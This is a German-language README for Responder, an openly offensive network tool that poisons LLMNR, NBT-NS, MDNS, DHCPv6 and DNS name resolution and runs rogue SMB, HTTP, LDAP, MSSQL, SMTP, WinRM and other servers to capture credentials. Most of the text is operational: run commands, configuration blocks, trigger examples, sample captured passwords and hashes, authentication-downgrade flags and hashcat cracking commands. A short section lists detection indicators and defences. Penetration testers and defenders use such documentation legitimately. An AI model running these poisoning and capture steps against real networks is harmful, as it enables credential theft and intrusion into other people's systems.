
Responder ist ein LLMNR-, NBT-NS- und MDNS-Vergifter mit integriertem HTTP/SMB/MSSQL/FTP/LDAP-Rogue-Authentifizierungsserver, der NTLMv1/NTLMv2/LMv2, erweiterte Sicherheit NTLMSSP und Basic-HTTP-Authentifizierung unterstützt.
Responder ist ein LLMNR-, NBT-NS- und MDNS-Poisoner mit integrierten betrügerischen Authentifizierungsservern für HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS und mehr. Es unterstützt NTLMv1/NTLMv2/LMv2, erweitertes NTLMSSP und verschiedene Authentifizierungsmethoden über 15+ Protokolle.
Responder fängt Anmeldedaten ab, indem es auf LLMNR-, NBT-NS- und MDNS-Namensauflösungsanfragen antwortet. Wenn ein Client versucht, einen nicht existierenden Hostnamen aufzulösen, antwortet Responder und leitet den Client zum Angreifer-Rechner, wo mehrere betrügerische Authentifizierungsserver Anmeldedaten abfangen. DHCP- und DHCPv6-betrügerische Server sind ebenfalls enthalten und können separat aktiviert werden.
Erfasste Daten:
Diese Version beinhaltet:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Responder installieren```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## Schnellstart
### Grundlegende Vergiftung```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### HTTP-Basisauthentifizierung erzwingen```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## Netzwerkvergiftung
### LLMNR/NBT-NS/MDNS-Vergiftung
**Zweck:** Auf Namensauflösungsfehler reagieren
**Funktionsweise:**
1. Client sendet eine Broadcast-Anfrage nach einem nicht existierenden Host
2. Responder antwortet: „Ich bin dieser Host“
3. Client verbindet sich mit dem Angreifer
4. Anmeldeinformationen werden erfasst
**Konfiguration:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
Verwendung:```bash sudo python3 Responder.py -I eth0 -v
---
### DHCPv6 Server
**Zweck:** Zwingt Clients, den DNS des Angreifers über IPv6 zu nutzen
**Funktionen:**
- ✅ INFORMATION-REQUEST Unterstützung (Windows 10/11)
- ✅ SOLICIT/REQUEST Unterstützung
- ✅ Domain-Filterung (chirurgische Zielauswahl)
- ✅ Router Advertisement (optional)
**Funktionsweise:**
1. Windows sendet DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. Responder antwortet: DNS = IPv6 des Angreifers
3. Windows priorisiert IPv6 DNS
4. Alle DNS-Anfragen → Angreifer
5. DNS-Vergiftung → Erfassung von Anmeldedaten
**Konfiguration:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
Verwendung:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**Erwartete Ausgabe:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responder enthält 17+ betrügerische Authentifizierungsserver:
Zweck: Erfassung von NetNTLM-Hashes aus Dateifreigaben
Funktionen:
Auslöser:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**Erfasstes Format:**```
username::domain:challenge:response:blob
Knacken:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**Konfiguration:**```ini
[Responder Core]
SMB = On
Zweck: Erfassen von Klartext-FTP-Anmeldedaten
Funktionen:
Auslöser:```bash ftp attacker-ip
**Erfasstes Format:**```
[FTP] Cleartext: username:password
Konfiguration:```ini [Responder Core] FTP = On
---
### Datenbankserver
#### MSSQL-Server (Port 1433)
**Zweck:** Microsoft SQL Server-Authentifizierung erfassen
**Funktionen:**
- ✅ SQL Server-Authentifizierung
- ✅ Windows-Authentifizierung (NTLM)
- ✅ SQL-Anmeldedaten im Klartext
- ✅ NetNTLMv2-Hash-Erfassung
**Auslöser:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
Erfasste Formate:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**Konfiguration:**```ini
[Responder Core]
SQL = On
Hinweise:
Zweck: Erfassen der E-Mail-Client-Authentifizierung
Funktionen:
STARTTLS-Ablauf:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**Auslöser:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
Erfasste Formate:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**Konfiguration:**```ini
[Responder Core]
SMTP = On
Zertifikatswarnungen: Warnungen zu selbstsignierten Zertifikaten sind normal. Clients lehnen den ersten Versuch ab, wiederholen ihn und sind erfolgreich. Anmeldedaten werden dennoch erfasst.
Zweck: Erfasst IMAP-Authentifizierung mit STARTTLS
Funktionen:
STARTTLS-Ablauf:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**Konfiguration:**```ini
[Responder Core]
IMAP = On
Zweck: IMAP über SSL (native Verschlüsselung)
Funktionen:
Wie unterscheidet es sich von IMAP:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**Konfiguration:**```ini
[Responder Core]
IMAPS = On
Zweck: Erfassen von POP3-E-Mail-Abruf-Anmeldedaten
Funktionen:
Auslöser:``` Email client:
**Erfasstes Format:**```
[POP3] USER: username
[POP3] PASS: password
Konfiguration:```ini [Responder Core] POP = On
---
### Webserver
#### HTTP-Server (Port 80)
**Zweck:** Web-Authentifizierung erfassen
**Funktionen:**
- ✅ NTLM-Authentifizierung (NetNTLMv1/v2)
- ✅ Basic-Authentifizierung (Klartext)
- ✅ Digest-Authentifizierung (MD5)
- ✅ WPAD-Injektion
**Auslöser:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Basic Auth erzwingen:```bash sudo python3 Responder.py -I eth0 -b
**Erfasste Formate:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
Konfiguration:```ini [Responder Core] HTTP = On
---
#### HTTPS-Server (Port 443)
**Zweck:** HTTPS mit Authentifizierungserfassung
**Funktionen:**
- ✅ SSL/TLS-Verschlüsselung
- ✅ Alle HTTP-Authentifizierungsmethoden
- ✅ Selbstsigniertes Zertifikat
- ✅ WPAD über HTTPS
**Konfiguration:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
Zweck: AS-REP-Hashes für Offline-Cracking erfassen
Funktionen:
So funktioniert es:
Knacken:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**Konfiguration:**```ini
[Responder Core]
Kerberos = On
Zweck: Erfassen der LDAP-Verzeichnisauthentifizierung
Funktionen:
Auslöser:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**Erfasste Formate:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Konfiguration:```ini [Responder Core] LDAP = On
---
#### LDAPS Server (Port 636)
**Zweck:** LDAP über SSL
**Funktionen:**
- ✅ SSL/TLS-Verschlüsselung
- ✅ Alle LDAP-Authentifizierungsmethoden
**Konfiguration:**```ini
[Responder Core]
LDAP = On
Zweck: Erfassen der Remote-Desktop-Authentifizierung
Funktionen:
Auslöser:``` Remote Desktop Client:
**Erfasstes Format:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Konfiguration:```ini [Responder Core] RDP = On
**Hinweis:** Erfasst NLA-Authentifizierung vor der Desktop-Sitzung.
---
#### WinRM Server (Ports 5985, 5986)
**Zweck:** Erfasst Windows Remote Management-Anmeldedaten
**Funktionen:**
- ✅ HTTP (5985) und HTTPS (5986)
- ✅ Basic-Authentifizierung
- ✅ NTLM-Authentifizierung
- ✅ Kerberos-Authentifizierung
**Auslöser:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
Erfasste Formate:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**Konfiguration:**```ini
[Responder Core]
WINRM = On
Zweck: Schurkischer DNS mit Domainfilterung
Funktionen:
Konfiguration:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**Wie es funktioniert:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
Supported Record Types:
Domain Filtering Example:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**Konfiguration:**```ini
[Responder Core]
DNS = On
Zweck: Windows-RPC-Authentifizierung erfassen
Funktionen:
Auslöser:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**Erfasstes Format:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
Konfiguration:```ini [Responder Core] DCERPC = On
---
## Konfiguration
### Hauptkonfigurationsdatei
Bearbeite `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### Erforderliche Argumente
| Option | Beschreibung |
|--------|-------------|
| `-I eth0, --interface=eth0` | Netzwerkschnittstelle zur Verwendung (verwenden Sie 'ALL' für alle Schnittstellen) |
### Vergiftungsoptionen
| Option | Beschreibung |
|--------|-------------|
| `-A, --analyze` | Analysemodus – NBT-NS-, MDNS-, LLMNR-Anfragen anzeigen, ohne zu antworten |
| `-w, --wpad` | Starte WPAD-Rogue-Proxy-Server (Standard: Aus) |
| `-F, --ForceWpadAuth` | Erzwinge NTLM/Basic-Authentifizierung beim Abruf von wpad.dat (alte Netzwerke)|
| `-P, --ProxyAuth` | Erzwinge NTLM/Basic-Authentifizierung für den Proxy (sehr effektiv) |
### DHCP/DHCPv6-Optionen
| Option | Beschreibung |
|--------|-------------|
| `-d, --DHCP` | Aktiviere DHCP-Broadcast-Antworten mit WPAD-Injection (IPv4) |
| `-D, --DHCP-DNS` | DNS-Server in DHCP-Antwort einfügen anstelle von WPAD |
| `--dhcpv6` | Aktiviere DHCPv6-Vergiftung (antwortet auf SOLICIT-Nachrichten) |
### IP-Vergiftungsoptionen
| Option | Beschreibung |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | Vergifte Anfragen mit einer anderen IPv4-Adresse |
| `-6 ADDR, --externalip6=ADDR` | Vergifte Anfragen mit einer anderen IPv6-Adresse |
| `-i 10.0.0.21, --ip=10.0.0.21` | Lokale IP zur Verwendung (nur macOS) |
### Authentifizierungsoptionen
| Option | Beschreibung |
|--------|-------------|
| `-b, --basic` | HTTP-Basic-Authentifizierung zurückgeben (Standard: NTLM) |
| `--lm` | Erzwinge LM-Hash-Downgrade (Windows XP/2003) |
| `--disable-ess` | Erzwinge Downgrade der erweiterten Sicherheit NTLMSSP |
### Erweiterte Optionen
| Option | Beschreibung |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | Upstream-HTTP-Proxy für schädlichen WPAD |
| `-t 1e, --ttl=1e` | Windows-TTL für vergiftete Antworten ändern (hex: 30s=1e, oder 'random') |
| `-N NAME, --AnswerName=NAME` | Kanonischer Name für LLMNR-Antworten (nützlich für Kerberos-Relay) |
| `-E, --ErrorCode` | STATUS_LOGON_FAILURE zurückgeben (ermöglicht WebDAV-Authentifizierungserfassung) |
### Ausgabeoptionen
| Option | Beschreibung |
|--------|-------------|
| `-v, --verbose` | Erhöhe die Ausführlichkeit (empfohlen) |
| `-Q, --quiet` | Leiser Modus – Deaktiviert die Ausgabe des Vergifters |
### Informationen
| Option | Beschreibung |
|--------|-------------|
| `--version` | Programmversion anzeigen und beenden |
| `-h, --help` | Hilfemeldung anzeigen und beenden |
---
### Speicherorte```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### OpSec-Überlegungen
**Erkennungsindikatoren:**
- Ungewöhnliche LLMNR/NBT-NS-Antworten
- Rogue DHCP/DHCPv6-Server
- Ungültige Kerberos-Vorauthentifizierungsanfragen
- Selbstsignierte SSL-Zertifikate
- Mehrere Authentifizierungsfehler
- Verdächtige DNS-Antworten
**Abwehrmaßnahmen:**
- Deaktivieren Sie MDNS/LLMNR/NBT-NS über GPO
- Aktivieren Sie DHCP-Snooping auf dem Switch
- Aktivieren Sie IPv6-RA-Guard
- Aktivieren Sie DHCPv6-Guard
- Überwachen Sie auf rogue DHCPv6-Server
---
## macOS
Responder funktioniert unter macOS, erfordert jedoch das Flag `-i`, um Ihre lokale IP-Adresse anzugeben. macOS unterstützt nicht die Socket-Option `SO_BINDTODEVICE`, die unter Linux für die Schnittstellenbindung verwendet wird.
### Verwendung des Launcher-Skripts
Das enthaltene Skript `macOS_Launcher.sh` behandelt Service-Konflikte automatisch:```bash
sudo ./macOS_Launcher.sh -I en0
Der Launcher wird:
-i übergeben, um zu überschreiben)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### Systemintegritätsschutz (SIP)
Bei aktiviertem SIP (Standard) verhindert macOS, dass Systemdienste gestoppt werden, die an Ports binden, die Responder benötigt. Sie haben drei Optionen:
1. **Verwenden Sie das Launcher-Skript** — es meldet Konflikte und fährt mit den verfügbaren Diensten fort.
2. **Deaktivieren Sie widersprüchliche Module** in `Responder.conf` (z.B. `SMB = Off`, `DNS = Off`)
3. **Deaktivieren Sie SIP** für die volle Funktionalität (siehe [Dokumentation von Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))
---
## Fehlerbehebung
### Häufige Probleme
**Zugriff verweigert:**```bash
sudo python3 Responder.py -I eth0
Schnittstelle nicht gefunden:```bash ip link show sudo python3 Responder.py -I wlan0
**Port bereits in Verwendung:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6 funktioniert nicht:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**Keine Hashes erfasst:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## Danksagungen
**Autor:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- Website: https://secorizon.com/
- Twitter: @secorizon
---
## Spende
Sie können zu diesem Projekt beitragen, indem Sie an die folgende USDT- oder Bitcoin-Adresse spenden:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
---
## Danksagungen
Die Entwicklung von Late Responder wurde durch Spenden von Einzelpersonen und Unternehmen ermöglicht.
Wir möchten uns bei den folgenden Hauptsponsoren bedanken:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
Und allen, ALLEN Pentestern auf der ganzen Welt, die an dieses Projekt gespendet haben.
Vielen Dank.